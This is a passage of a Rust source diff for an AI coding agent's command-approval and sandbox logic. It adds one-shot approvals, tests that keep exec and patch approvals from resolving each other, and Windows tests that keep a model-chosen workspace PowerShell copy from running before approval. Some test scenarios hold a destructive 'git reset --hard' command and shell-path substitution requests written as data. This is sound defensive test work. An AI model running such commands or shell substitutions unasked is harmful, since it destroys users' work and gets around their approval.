pub call_id: &'a str,
|
||||
/// Identifies this specific approval prompt when a tool item can prompt
|
||||
/// more than once (for example, an unsandboxed retry).
|
||||
pub approval_id: Option<String>,
|
||||
/// Describes why this callback is being emitted independently of display
|
||||
/// text or whether it carries a callback-specific ID.
|
||||
pub approval_purpose: ExecApprovalPurpose,
|
||||
/// Guardian review lifecycle ID for this approval, when guardian is reviewing it.
|
||||
///
|
||||
/// This is separate from `call_id`: `call_id` identifies the tool item under
|
||||
@@ -176,6 +193,10 @@ pub(crate) enum ExecApprovalRequirement {
|
||||
/// See core/src/exec_policy.rs for more details on how proposed_execpolicy_amendment is determined.
|
||||
proposed_execpolicy_amendment: Option<ExecPolicyAmendment>,
|
||||
},
|
||||
/// Approval is required for this invocation, but the decision must not be
|
||||
/// reused from or written to the session approval cache.
|
||||
#[cfg_attr(not(windows), allow(dead_code))]
|
||||
NeedsOneShotApproval { reason: Option<String> },
|
||||
/// Execution forbidden for this tool call.
|
||||
Forbidden { reason: String },
|
||||
}
|
||||
@@ -194,6 +215,10 @@ impl ExecApprovalRequirement {
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
pub(crate) fn is_one_shot(&self) -> bool {
|
||||
matches!(self, Self::NeedsOneShotApproval { .. })
|
||||
}
|
||||
}
|
||||
|
||||
/// - Never: do not ask
|
||||
|
||||
@@ -107,7 +107,6 @@ pub(crate) struct ExecCommandRequest {
|
||||
pub additional_permissions_preapproved: bool,
|
||||
pub justification: Option<String>,
|
||||
pub prefix_rule: Option<Vec<String>>,
|
||||
pub input_source: crate::exec_policy::ExecPolicyInputSource,
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
|
||||
@@ -1145,7 +1145,6 @@ impl UnifiedExecProcessManager {
|
||||
request.sandbox_permissions
|
||||
},
|
||||
prefix_rule: request.prefix_rule.clone(),
|
||||
input_source: request.input_source,
|
||||
})
|
||||
.await;
|
||||
let req = UnifiedExecToolRequest {
|
||||
|
||||
@@ -292,7 +292,6 @@ async fn failed_initial_end_for_unstored_process_uses_fallback_output() {
|
||||
additional_permissions_preapproved: false,
|
||||
justification: None,
|
||||
prefix_rule: None,
|
||||
input_source: crate::exec_policy::ExecPolicyInputSource::Configured,
|
||||
};
|
||||
|
||||
let transcript = Arc::new(tokio::sync::Mutex::new(HeadTailBuffer::default()));
|
||||
|
||||
@@ -119,7 +119,6 @@ enum ActionKind {
|
||||
},
|
||||
RunUnifiedExecCommand {
|
||||
command: &'static str,
|
||||
shell: Option<&'static str>,
|
||||
justification: Option<&'static str>,
|
||||
},
|
||||
ApplyPatchFreeform {
|
||||
@@ -269,7 +268,6 @@ impl ActionKind {
|
||||
}
|
||||
ActionKind::RunUnifiedExecCommand {
|
||||
command,
|
||||
shell,
|
||||
justification,
|
||||
} => {
|
||||
let event = exec_command_event(
|
||||
@@ -277,7 +275,6 @@ impl ActionKind {
|
||||
command,
|
||||
Some(1000),
|
||||
sandbox_permissions,
|
||||
*shell,
|
||||
*justification,
|
||||
)?;
|
||||
Ok((event, Some(command.to_string())))
|
||||
@@ -359,7 +356,6 @@ fn exec_command_event(
|
||||
cmd: &str,
|
||||
yield_time_ms: Option<u64>,
|
||||
sandbox_permissions: SandboxPermissions,
|
||||
shell: Option<&str>,
|
||||
justification: Option<&str>,
|
||||
) -> Result<Value> {
|
||||
let mut args = json!({
|
||||
@@ -368,9 +364,6 @@ fn exec_command_event(
|
||||
if let Some(yield_time_ms) = yield_time_ms {
|
||||
args["yield_time_ms"] = json!(yield_time_ms);
|
||||
}
|
||||
if let Some(shell) = shell {
|
||||
args["shell"] = json!(shell);
|
||||
}
|
||||
if sandbox_permissions.requests_sandbox_override() {
|
||||
args["sandbox_permissions"] = json!(sandbox_permissions);
|
||||
let reason = justification.unwrap_or(DEFAULT_UNIFIED_EXEC_JUSTIFICATION);
|
||||
@@ -1052,27 +1045,12 @@ fn scenarios() -> Vec<ScenarioSpec> {
|
||||
outcome: Outcome::ExecApprovalWithAmendment {
|
||||
decision: ReviewDecision::Denied,
|
||||
expected_reason: None,
|
||||
expected_execpolicy_amendment: None,
|
||||
expected_execpolicy_amendment: Some(&["echo", "known-safe-escalation"]),
|
||||
},
|
||||
expectation: Expectation::CommandFailure {
|
||||
output_contains: "rejected by user",
|
||||
},
|
||||
},
|
||||
ScenarioSpec {
|
||||
name: "known_safe_escalation_unless_trusted_rejects",
|
||||
approval_policy: UnlessTrusted,
|
||||
sandbox_policy: workspace_write(false),
|
||||
action: ActionKind::RunCommand {
|
||||
command: "echo known-safe-escalation-unless-trusted",
|
||||
},
|
||||
sandbox_permissions: SandboxPermissions::RequireEscalated,
|
||||
features: vec![],
|
||||
model_override: Some("gpt-5.2"),
|
||||
outcome: Outcome::Auto,
|
||||
expectation: Expectation::CommandFailure {
|
||||
output_contains: "you should not ask for escalated permissions",
|
||||
},
|
||||
},
|
||||
ScenarioSpec {
|
||||
name: "known_safe_escalation_granular_sandbox_disabled_rejects",
|
||||
approval_policy: Granular(GranularApprovalConfig {
|
||||
@@ -1723,7 +1701,6 @@ fn scenarios() -> Vec<ScenarioSpec> {
|
||||
sandbox_policy: SandboxPolicy::DangerFullAccess,
|
||||
action: ActionKind::RunUnifiedExecCommand {
|
||||
command: "echo \"hello unified exec\"",
|
||||
shell: None,
|
||||
justification: None,
|
||||
},
|
||||
sandbox_permissions: SandboxPermissions::UseDefault,
|
||||
@@ -1742,7 +1719,6 @@ fn scenarios() -> Vec<ScenarioSpec> {
|
||||
sandbox_policy: SandboxPolicy::new_read_only_policy(),
|
||||
action: ActionKind::RunUnifiedExecCommand {
|
||||
command: "python3 -c 'print('\"'\"'escalated unified exec'\"'\"')'",
|
||||
shell: None,
|
||||
justification: Some(DEFAULT_UNIFIED_EXEC_JUSTIFICATION),
|
||||
},
|
||||
sandbox_permissions: SandboxPermissions::RequireEscalated,
|
||||
@@ -1762,7 +1738,6 @@ fn scenarios() -> Vec<ScenarioSpec> {
|
||||
sandbox_policy: SandboxPolicy::DangerFullAccess,
|
||||
action: ActionKind::RunUnifiedExecCommand {
|
||||
command: "git reset --hard",
|
||||
shell: None,
|
||||
justification: None,
|
||||
},
|
||||
sandbox_permissions: SandboxPermissions::UseDefault,
|
||||
@@ -1782,7 +1757,6 @@ fn scenarios() -> Vec<ScenarioSpec> {
|
||||
sandbox_policy: workspace_write(false),
|
||||
action: ActionKind::RunUnifiedExecCommand {
|
||||
command: "cat <<'EOF' > /tmp/out.txt \nhello\nEOF",
|
||||
shell: None,
|
||||
justification: None,
|
||||
},
|
||||
sandbox_permissions: SandboxPermissions::RequireEscalated,
|
||||
@@ -1802,7 +1776,6 @@ fn scenarios() -> Vec<ScenarioSpec> {
|
||||
sandbox_policy: workspace_write(false),
|
||||
action: ActionKind::RunUnifiedExecCommand {
|
||||
command: "cat ./one.txt && touch ./two.txt",
|
||||
shell: None,
|
||||
justification: None,
|
||||
},
|
||||
sandbox_permissions: SandboxPermissions::RequireEscalated,
|
||||
@@ -1816,27 +1789,6 @@ fn scenarios() -> Vec<ScenarioSpec> {
|
||||
output_contains: "rejected by user",
|
||||
},
|
||||
},
|
||||
ScenarioSpec {
|
||||
name: "model selected path shell cannot inherit safe inner command",
|
||||
approval_policy: AskForApproval::UnlessTrusted,
|
||||
sandbox_policy: workspace_write(false),
|
||||
action: ActionKind::RunUnifiedExecCommand {
|
||||
command: "ls",
|
||||
shell: Some("/tmp/workspace/bash"),
|
||||
justification: None,
|
||||
},
|
||||
sandbox_permissions: SandboxPermissions::UseDefault,
|
||||
features: vec![Feature::UnifiedExec],
|
||||
model_override: Some("gpt-5.2"),
|
||||
outcome: Outcome::ExecApprovalWithAmendment {
|
||||
decision: ReviewDecision::Denied,
|
||||
expected_reason: None,
|
||||
expected_execpolicy_amendment: None,
|
||||
},
|
||||
expectation: Expectation::CommandFailure {
|
||||
output_contains: "rejected by user",
|
||||
},
|
||||
},
|
||||
]
|
||||
}
|
||||
|
||||
@@ -2172,6 +2124,149 @@ async fn approving_apply_patch_for_session_skips_future_prompts_for_same_file()
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "current_thread")]
|
||||
#[cfg(unix)]
|
||||
async fn exec_approval_cannot_resolve_patch_approval() -> Result<()> {
|
||||
skip_if_no_network!(Ok(()));
|
||||
|
||||
let server = start_mock_server().await;
|
||||
let approval_policy = AskForApproval::UnlessTrusted;
|
||||
let sandbox_policy = SandboxPolicy::DangerFullAccess;
|
||||
let sandbox_policy_for_config = sandbox_policy.clone();
|
||||
|
||||
let mut builder = test_codex()
|
||||
.with_model("gpt-5.4")
|
||||
.with_config(move |config| {
|
||||
config.permissions.approval_policy = Constrained::allow_any(approval_policy);
|
||||
config
|
||||
.set_legacy_sandbox_policy(sandbox_policy_for_config)
|
||||
.expect("set sandbox policy");
|
||||
config.approvals_reviewer = ApprovalsReviewer::User;
|
||||
});
|
||||
let test = builder.build(&server).await?;
|
||||
|
||||
let target = TargetPath::OutsideWorkspace("apply_patch_reject_exec_response.txt");
|
||||
let (path, patch_path) = target.resolve_for_patch(&test);
|
||||
let _path_cleanup = tempfile::TempPath::try_from_path(path.clone())?;
|
||||
let _ = fs::remove_file(&path);
|
||||
let patch = build_add_file_patch(&patch_path, "approved by patch response");
|
||||
let call_id = "apply_patch_reject_exec_response";
|
||||
|
||||
let _ = mount_sse_once(
|
||||
&server,
|
||||
sse(vec![
|
||||
ev_response_created("resp-1"),
|
||||
ev_apply_patch_custom_tool_call(call_id, &patch),
|
||||
ev_completed("resp-1"),
|
||||
]),
|
||||
)
|
||||
.await;
|
||||
let _ = mount_sse_once(
|
||||
&server,
|
||||
sse(vec![
|
||||
ev_assistant_message("msg-1", "done"),
|
||||
ev_completed("resp-2"),
|
||||
]),
|
||||
)
|
||||
.await;
|
||||
|
||||
submit_turn(
|
||||
&test,
|
||||
"apply patch with typed approval",
|
||||
approval_policy,
|
||||
sandbox_policy,
|
||||
)
|
||||
.await?;
|
||||
let approval = expect_patch_approval(&test, call_id).await;
|
||||
|
||||
test.codex
|
||||
.submit(Op::ExecApproval {
|
||||
id: approval.call_id.clone(),
|
||||
turn_id: None,
|
||||
decision: ReviewDecision::Approved,
|
||||
})
|
||||
.await?;
|
||||
test.codex
|
||||
.submit(Op::PatchApproval {
|
||||
id: approval.call_id,
|
||||
decision: ReviewDecision::Approved,
|
||||
})
|
||||
.await?;
|
||||
|
||||
wait_for_completion(&test).await;
|
||||
assert_eq!(fs::read_to_string(&path)?, "approved by patch response\n");
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "current_thread")]
|
||||
#[cfg(unix)]
|
||||
async fn patch_approval_cannot_resolve_exec_approval() -> Result<()> {
|
||||
skip_if_no_network!(Ok(()));
|
||||
|
||||
let server = start_mock_server().await;
|
||||
let approval_policy = AskForApproval::OnRequest;
|
||||
let sandbox_policy = SandboxPolicy::new_read_only_policy();
|
||||
let mut builder = test_codex();
|
||||
let test = builder.build(&server).await?;
|
||||
let call_id = "exec_reject_patch_response";
|
||||
let target = test.config.cwd.join("exec_reject_patch_response.txt");
|
||||
let _target_cleanup = tempfile::TempPath::try_from_path(target.clone())?;
|
||||
let command = "touch exec_reject_patch_response.txt";
|
||||
|
||||
let event = shell_event(
|
||||
call_id,
|
||||
command,
|
||||
/*timeout_ms*/ 1_000,
|
||||
SandboxPermissions::RequireEscalated,
|
||||
)?;
|
||||
let _ = mount_sse_once(
|
||||
&server,
|
||||
sse(vec![
|
||||
ev_response_created("resp-1"),
|
||||
event,
|
||||
ev_completed("resp-1"),
|
||||
]),
|
||||
)
|
||||
.await;
|
||||
let _ = mount_sse_once(
|
||||
&server,
|
||||
sse(vec![
|
||||
ev_assistant_message("msg-1", "done"),
|
||||
ev_completed("resp-2"),
|
||||
]),
|
||||
)
|
||||
.await;
|
||||
|
||||
submit_turn(
|
||||
&test,
|
||||
"run command with typed approval",
|
||||
approval_policy,
|
||||
sandbox_policy,
|
||||
)
|
||||
.await?;
|
||||
let approval = expect_exec_approval(&test, command).await;
|
||||
|
||||
test.codex
|
||||
.submit(Op::PatchApproval {
|
||||
id: approval.effective_approval_id(),
|
||||
decision: ReviewDecision::Approved,
|
||||
})
|
||||
.await?;
|
||||
test.codex
|
||||
.submit(Op::ExecApproval {
|
||||
id: approval.effective_approval_id(),
|
||||
turn_id: None,
|
||||
decision: ReviewDecision::Approved,
|
||||
})
|
||||
.await?;
|
||||
|
||||
wait_for_completion(&test).await;
|
||||
assert!(target.exists());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "current_thread")]
|
||||
#[cfg(unix)]
|
||||
async fn approving_execpolicy_amendment_persists_policy_and_skips_future_prompts() -> Result<()> {
|
||||
@@ -3116,7 +3211,7 @@ exec {remote_bash_exec} "$@"
|
||||
|
||||
#[tokio::test(flavor = "current_thread")]
|
||||
#[cfg(unix)]
|
||||
async fn sandbox_override_with_invalid_prefix_rule_does_not_propose_an_amendment() -> Result<()> {
|
||||
async fn invalid_requested_prefix_rule_falls_back_for_compound_command() -> Result<()> {
|
||||
let server = start_mock_server().await;
|
||||
let approval_policy = AskForApproval::OnRequest;
|
||||
let sandbox_policy = SandboxPolicy::new_read_only_policy();
|
||||
@@ -3159,14 +3254,17 @@ async fn sandbox_override_with_invalid_prefix_rule_does_not_propose_an_amendment
|
||||
.await?;
|
||||
|
||||
let approval = expect_exec_approval(&test, command).await;
|
||||
assert_eq!(approval.proposed_execpolicy_amendment, None);
|
||||
let amendment = approval
|
||||
.proposed_execpolicy_amendment
|
||||
.expect("should have a proposed execpolicy amendment");
|
||||
assert!(amendment.command.contains(&command.to_string()));
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "current_thread")]
|
||||
#[cfg(unix)]
|
||||
async fn approving_sandbox_override_does_not_persist_a_fallback_rule() -> Result<()> {
|
||||
async fn approving_fallback_rule_for_compound_command_works() -> Result<()> {
|
||||
let server = start_mock_server().await;
|
||||
let approval_policy = AskForApproval::OnRequest;
|
||||
let sandbox_policy = SandboxPolicy::new_read_only_policy();
|
||||
@@ -3210,13 +3308,18 @@ async fn approving_sandbox_override_does_not_persist_a_fallback_rule() -> Result
|
||||
|
||||
let approval = expect_exec_approval(&test, command).await;
|
||||
let approval_id = approval.effective_approval_id();
|
||||
assert_eq!(approval.proposed_execpolicy_amendment, None);
|
||||
let amendment = approval
|
||||
.proposed_execpolicy_amendment
|
||||
.expect("should have a proposed execpolicy amendment");
|
||||
assert!(amendment.command.contains(&command.to_string()));
|
||||
|
||||
test.codex
|
||||
.submit(Op::ExecApproval {
|
||||
id: approval_id,
|
||||
turn_id: None,
|
||||
decision: ReviewDecision::Approved,
|
||||
decision: ReviewDecision::ApprovedExecpolicyAmendment {
|
||||
proposed_execpolicy_amendment: amendment.clone(),
|
||||
},
|
||||
})
|
||||
.await?;
|
||||
wait_for_completion(&test).await;
|
||||
@@ -3258,17 +3361,7 @@ async fn approving_sandbox_override_does_not_persist_a_fallback_rule() -> Result
|
||||
)
|
||||
.await?;
|
||||
|
||||
let approval = expect_exec_approval(&test, command).await;
|
||||
let approval_id = approval.effective_approval_id();
|
||||
assert_eq!(approval.proposed_execpolicy_amendment, None);
|
||||
test.codex
|
||||
.submit(Op::ExecApproval {
|
||||
id: approval_id,
|
||||
turn_id: None,
|
||||
decision: ReviewDecision::Approved,
|
||||
})
|
||||
.await?;
|
||||
wait_for_completion(&test).await;
|
||||
wait_for_completion_without_approval(&test).await;
|
||||
|
||||
let second_output = parse_result(
|
||||
&second_results
|
||||
|
||||
@@ -966,35 +966,77 @@ async fn responses_websocket_v2_requests_use_v2_when_provider_supports_websocket
|
||||
async fn responses_websocket_v2_incremental_requests_are_reused_across_turns() {
|
||||
skip_if_no_network!();
|
||||
|
||||
let mut assistant_output_with_turn_id = ev_assistant_message("msg-1", "assistant output");
|
||||
assistant_output_with_turn_id["item"]["internal_chat_message_metadata_passthrough"] =
|
||||
json!({ "turn_id": "turn-1" });
|
||||
|
||||
let assistant_output_without_turn_id = ev_assistant_message("msg-2", "second assistant output");
|
||||
|
||||
let server = start_websocket_server(vec![vec![
|
||||
vec![
|
||||
ev_response_created("resp-1"),
|
||||
ev_assistant_message("msg-1", "assistant output"),
|
||||
assistant_output_with_turn_id,
|
||||
ev_completed("resp-1"),
|
||||
],
|
||||
vec![ev_response_created("resp-2"), ev_completed("resp-2")],
|
||||
vec![
|
||||
ev_response_created("resp-2"),
|
||||
assistant_output_without_turn_id,
|
||||
ev_completed("resp-2"),
|
||||
],
|
||||
vec![ev_response_created("resp-3"), ev_completed("resp-3")],
|
||||
]])
|
||||
.await;
|
||||
|
||||
let harness = websocket_harness_with_options(&server, /*runtime_metrics_enabled*/ false).await;
|
||||
let prompt_one = prompt_with_input(vec![message_item("hello")]);
|
||||
let prompt_two = prompt_with_input(vec![
|
||||
message_item("hello"),
|
||||
assistant_message_item("msg-1", "assistant output"),
|
||||
message_item("second"),
|
||||
]);
|
||||
// use OpenAI provider to check metadata logic
|
||||
let mut provider = websocket_provider(&server);
|
||||
provider.name = ModelProviderInfo::create_openai_provider(/*base_url*/ None).name;
|
||||
let harness =
|
||||
websocket_harness_with_provider_options(provider, /*runtime_metrics_enabled*/ false).await;
|
||||
|
||||
// Turn one: initiate
|
||||
let prompt_one = prompt_with_input(vec![message_item("hello")]);
|
||||
{
|
||||
let mut client_session = harness.client.new_session();
|
||||
stream_until_complete(&mut client_session, &harness, &prompt_one).await;
|
||||
}
|
||||
|
||||
let mut client_session = harness.client.new_session();
|
||||
stream_until_complete(&mut client_session, &harness, &prompt_two).await;
|
||||
// Turn two: the response and reconstructed history have matching metadata.
|
||||
let mut first_assistant_output = assistant_message_item("msg-1", "assistant output");
|
||||
first_assistant_output.set_turn_id_if_missing("turn-1");
|
||||
|
||||
let prompt_two = prompt_with_input(vec![
|
||||
message_item("hello"),
|
||||
first_assistant_output.clone(),
|
||||
message_item("second"),
|
||||
]);
|
||||
|
||||
{
|
||||
let mut client_session = harness.client.new_session();
|
||||
stream_until_complete(&mut client_session, &harness, &prompt_two).await;
|
||||
}
|
||||
|
||||
// Turn three: the reconstructed history has metadata that the response omitted.
|
||||
let mut second_assistant_output = assistant_message_item("msg-2", "second assistant output");
|
||||
second_assistant_output.set_turn_id_if_missing("turn-2");
|
||||
|
||||
let prompt_three = prompt_with_input(vec![
|
||||
message_item("hello"),
|
||||
first_assistant_output,
|
||||
message_item("second"),
|
||||
second_assistant_output,
|
||||
message_item("third"),
|
||||
]);
|
||||
|
||||
{
|
||||
let mut client_session = harness.client.new_session();
|
||||
stream_until_complete(&mut client_session, &harness, &prompt_three).await;
|
||||
}
|
||||
|
||||
assert_eq!(server.handshakes().len(), 1);
|
||||
let connection = server.single_connection();
|
||||
assert_eq!(connection.len(), 2);
|
||||
assert_eq!(connection.len(), 3);
|
||||
|
||||
// validate second turn
|
||||
let second = connection.get(1).expect("missing request").body_json();
|
||||
assert_eq!(second["type"].as_str(), Some("response.create"));
|
||||
assert_eq!(second["previous_response_id"].as_str(), Some("resp-1"));
|
||||
@@ -1003,6 +1045,15 @@ async fn responses_websocket_v2_incremental_requests_are_reused_across_turns() {
|
||||
serde_json::to_value(&prompt_two.input[2..]).unwrap()
|
||||
);
|
||||
|
||||
// validate third turn
|
||||
let third = connection.get(2).expect("missing request").body_json();
|
||||
assert_eq!(third["type"].as_str(), Some("response.create"));
|
||||
assert_eq!(third["previous_response_id"].as_str(), Some("resp-2"));
|
||||
assert_eq!(
|
||||
third["input"],
|
||||
serde_json::to_value(&prompt_three.input[4..]).unwrap()
|
||||
);
|
||||
|
||||
server.shutdown().await;
|
||||
}
|
||||
|
||||
|
||||
@@ -8,7 +8,13 @@ use codex_protocol::config_types::Settings;
|
||||
use codex_protocol::models::PermissionProfile;
|
||||
use codex_protocol::protocol::AskForApproval;
|
||||
use codex_protocol::protocol::EventMsg;
|
||||
#[cfg(windows)]
|
||||
use codex_protocol::protocol::ExecApprovalPurpose;
|
||||
use codex_protocol::protocol::Op;
|
||||
#[cfg(windows)]
|
||||
use codex_protocol::protocol::ReviewDecision;
|
||||
#[cfg(windows)]
|
||||
use codex_protocol::protocol::TurnAbortReason;
|
||||
use codex_protocol::user_input::UserInput;
|
||||
use core_test_support::responses::ev_assistant_message;
|
||||
use core_test_support::responses::ev_completed;
|
||||
@@ -24,6 +30,8 @@ use core_test_support::wait_for_event;
|
||||
use serde_json::Value;
|
||||
use serde_json::json;
|
||||
use std::fs;
|
||||
#[cfg(windows)]
|
||||
use std::path::PathBuf;
|
||||
|
||||
fn collaboration_mode_for_model(model: String) -> CollaborationMode {
|
||||
CollaborationMode {
|
||||
@@ -88,15 +96,260 @@ fn assert_no_matched_rules_invariant(output_item: &Value) {
|
||||
);
|
||||
}
|
||||
|
||||
#[cfg(windows)]
|
||||
fn installed_windows_powershell() -> PathBuf {
|
||||
codex_shell_command::powershell::try_find_powershell_executable_blocking()
|
||||
.expect("Windows PowerShell must be installed")
|
||||
.into_path_buf()
|
||||
}
|
||||
|
||||
#[cfg(windows)]
|
||||
fn enable_unified_exec(config: &mut codex_core::config::Config) {
|
||||
config
|
||||
.features
|
||||
.enable(Feature::UnifiedExec)
|
||||
.expect("test config should allow feature update");
|
||||
}
|
||||
|
||||
#[cfg(windows)]
|
||||
#[tokio::test]
|
||||
async fn unified_exec_workspace_powershell_path_requires_one_shot_approval_before_execution()
|
||||
-> Result<()> {
|
||||
let server = start_mock_server().await;
|
||||
let mut builder = test_codex().with_config(enable_unified_exec);
|
||||
let test = builder.build(&server).await?;
|
||||
|
||||
let fake_powershell = test.config.cwd.join("powershell.exe");
|
||||
fs::copy(installed_windows_powershell(), &fake_powershell)
|
||||
.expect("copy Windows PowerShell into the test workspace");
|
||||
let fake_powershell = fake_powershell
|
||||
.to_str()
|
||||
.expect("the test workspace path must be valid UTF-8")
|
||||
.to_string();
|
||||
|
||||
let sentinel = test.config.cwd.join("workspace-powershell-started.txt");
|
||||
let marker = "WORKSPACE_POWERSHELL_STARTED";
|
||||
let sentinel_arg = sentinel
|
||||
.to_str()
|
||||
.expect("the sentinel path must be valid UTF-8")
|
||||
.replace('\'', "''");
|
||||
let script =
|
||||
format!("Set-Content -LiteralPath '{sentinel_arg}' started; Write-Output '{marker}'");
|
||||
let expected_command = vec![
|
||||
fake_powershell.clone(),
|
||||
"-Command".to_string(),
|
||||
script.clone(),
|
||||
];
|
||||
let call_id = "unified-exec-workspace-powershell-one-shot";
|
||||
let args = json!({
|
||||
"shell": fake_powershell.clone(),
|
||||
"cmd": script,
|
||||
"yield_time_ms": 1_000,
|
||||
});
|
||||
mount_sse_once(
|
||||
&server,
|
||||
sse(vec![
|
||||
ev_response_created("resp-workspace-powershell-1"),
|
||||
ev_function_call(call_id, "exec_command", &serde_json::to_string(&args)?),
|
||||
ev_completed("resp-workspace-powershell-1"),
|
||||
]),
|
||||
)
|
||||
.await;
|
||||
let results_mock = mount_sse_once(
|
||||
&server,
|
||||
sse(vec![
|
||||
ev_assistant_message("msg-workspace-powershell-1", "done"),
|
||||
ev_completed("resp-workspace-powershell-2"),
|
||||
]),
|
||||
)
|
||||
.await;
|
||||
|
||||
submit_user_turn(
|
||||
&test,
|
||||
"run a read-only command with a workspace PowerShell copy",
|
||||
AskForApproval::UnlessTrusted,
|
||||
PermissionProfile::Disabled,
|
||||
/*collaboration_mode*/ None,
|
||||
)
|
||||
.await?;
|
||||
|
||||
let event = wait_for_event(&test.codex, |event| {
|
||||
matches!(
|
||||
event,
|
||||
EventMsg::ExecApprovalRequest(_)
|
||||
| EventMsg::ExecCommandBegin(_)
|
||||
| EventMsg::ExecCommandEnd(_)
|
||||
| EventMsg::TurnAborted(_)
|
||||
| EventMsg::TurnComplete(_)
|
||||
)
|
||||
})
|
||||
.await;
|
||||
assert!(
|
||||
!sentinel.exists(),
|
||||
"the requested workspace PowerShell must not start before approval"
|
||||
);
|
||||
let approval = match event {
|
||||
EventMsg::ExecApprovalRequest(approval) => approval,
|
||||
EventMsg::ExecCommandBegin(begin) => {
|
||||
panic!("workspace PowerShell began before approval: {begin:?}")
|
||||
}
|
||||
EventMsg::ExecCommandEnd(end) => {
|
||||
panic!("workspace PowerShell completed before approval: {end:?}")
|
||||
}
|
||||
EventMsg::TurnAborted(aborted) => {
|
||||
panic!("turn aborted before one-shot approval: {aborted:?}")
|
||||
}
|
||||
EventMsg::TurnComplete(_) => panic!("expected one-shot approval before completion"),
|
||||
_ => unreachable!(),
|
||||
};
|
||||
assert_eq!(approval.call_id, call_id);
|
||||
assert_eq!(approval.command, expected_command);
|
||||
assert_eq!(approval.cwd, test.config.cwd);
|
||||
let approval_id = approval
|
||||
.approval_id
|
||||
.clone()
|
||||
.expect("one-shot approval must carry a callback ID");
|
||||
assert_ne!(approval_id, call_id);
|
||||
assert_eq!(
|
||||
approval.approval_purpose,
|
||||
Some(ExecApprovalPurpose::Initial)
|
||||
);
|
||||
assert_eq!(
|
||||
approval.effective_approval_purpose(),
|
||||
ExecApprovalPurpose::Initial
|
||||
);
|
||||
assert_eq!(
|
||||
approval.effective_available_decisions(),
|
||||
vec![ReviewDecision::Approved, ReviewDecision::Abort]
|
||||
);
|
||||
assert_eq!(approval.proposed_execpolicy_amendment, None);
|
||||
assert!(!sentinel.exists());
|
||||
|
||||
let approval_turn_id = approval.turn_id.clone();
|
||||
test.codex
|
||||
.submit(Op::ExecApproval {
|
||||
id: approval_id,
|
||||
turn_id: Some(approval_turn_id.clone()),
|
||||
decision: ReviewDecision::Abort,
|
||||
})
|
||||
.await?;
|
||||
|
||||
let aborted = match wait_for_event(&test.codex, |event| {
|
||||
matches!(
|
||||
event,
|
||||
EventMsg::ExecCommandBegin(_)
|
||||
| EventMsg::ExecCommandEnd(_)
|
||||
| EventMsg::TurnAborted(_)
|
||||
| EventMsg::TurnComplete(_)
|
||||
)
|
||||
})
|
||||
.await
|
||||
{
|
||||
EventMsg::TurnAborted(aborted) => aborted,
|
||||
EventMsg::ExecCommandBegin(begin) => {
|
||||
panic!("workspace PowerShell began after abort: {begin:?}")
|
||||
}
|
||||
EventMsg::ExecCommandEnd(end) => {
|
||||
panic!("workspace PowerShell completed after abort: {end:?}")
|
||||
}
|
||||
EventMsg::TurnComplete(_) => panic!("aborted approval unexpectedly completed the turn"),
|
||||
_ => unreachable!(),
|
||||
};
|
||||
assert_eq!(aborted.turn_id.as_deref(), Some(approval_turn_id.as_str()));
|
||||
assert_eq!(aborted.reason, TurnAbortReason::Interrupted);
|
||||
assert!(
|
||||
!sentinel.exists(),
|
||||
"aborting the one-shot approval must never start the requested workspace PowerShell"
|
||||
);
|
||||
assert!(
|
||||
results_mock.requests().is_empty(),
|
||||
"aborting the one-shot approval must not continue the turn"
|
||||
);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[cfg(windows)]
|
||||
#[tokio::test]
|
||||
async fn unified_exec_configured_authoritative_windows_powershell_runs_without_approval()
|
||||
-> Result<()> {
|
||||
let server = start_mock_server().await;
|
||||
let powershell = installed_windows_powershell();
|
||||
let configured_shell = codex_core::shell::get_shell_by_model_provided_path(&powershell);
|
||||
let mut builder = test_codex()
|
||||
.with_config(enable_unified_exec)
|
||||
.with_user_shell(configured_shell);
|
||||
let test = builder.build(&server).await?;
|
||||
|
||||
let call_id = "unified-exec-authoritative-windows-powershell";
|
||||
let args = json!({
|
||||
"cmd": "Get-Location",
|
||||
"yield_time_ms": 1_000,
|
||||
});
|
||||
mount_sse_once(
|
||||
&server,
|
||||
sse(vec![
|
||||
ev_response_created("resp-authoritative-powershell-1"),
|
||||
ev_function_call(call_id, "exec_command", &serde_json::to_string(&args)?),
|
||||
ev_completed("resp-authoritative-powershell-1"),
|
||||
]),
|
||||
)
|
||||
.await;
|
||||
let results_mock = mount_sse_once(
|
||||
&server,
|
||||
sse(vec![
|
||||
ev_assistant_message("msg-authoritative-powershell-1", "done"),
|
||||
ev_completed("resp-authoritative-powershell-2"),
|
||||
]),
|
||||
)
|
||||
.await;
|
||||
|
||||
submit_user_turn(
|
||||
&test,
|
||||
"run a read-only command with authoritative Windows PowerShell",
|
||||
AskForApproval::UnlessTrusted,
|
||||
PermissionProfile::Disabled,
|
||||
/*collaboration_mode*/ None,
|
||||
)
|
||||
.await?;
|
||||
|
||||
let event = wait_for_event(&test.codex, |event| {
|
||||
matches!(
|
||||
event,
|
||||
EventMsg::ExecApprovalRequest(_) | EventMsg::TurnComplete(_)
|
||||
)
|
||||
})
|
||||
.await;
|
||||
match event {
|
||||
EventMsg::TurnComplete(_) => {}
|
||||
EventMsg::ExecApprovalRequest(approval) => {
|
||||
panic!(
|
||||
"authoritative Windows PowerShell should not require approval: {:?}",
|
||||
approval.command
|
||||
);
|
||||
}
|
||||
other => panic!("unexpected event: {other:?}"),
|
||||
}
|
||||
|
||||
let output_item = results_mock.single_request().function_call_output(call_id);
|
||||
let output = output_item
|
||||
.get("output")
|
||||
.and_then(Value::as_str)
|
||||
.expect("function call output should include a string output payload");
|
||||
assert!(
|
||||
!output.contains("rejected:") && !output.contains("blocked by policy"),
|
||||
"unexpected output: {output}"
|
||||
);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[cfg(windows)]
|
||||
#[tokio::test]
|
||||
async fn unified_exec_disabled_windows_sandbox_rejects_managed_read_only_command() -> Result<()> {
|
||||
let server = start_mock_server().await;
|
||||
let mut builder = test_codex().with_config(|config| {
|
||||
config
|
||||
.features
|
||||
.enable(Feature::UnifiedExec)
|
||||
.expect("test config should allow feature update");
|
||||
enable_unified_exec(config);
|
||||
config
|
||||
.features
|
||||
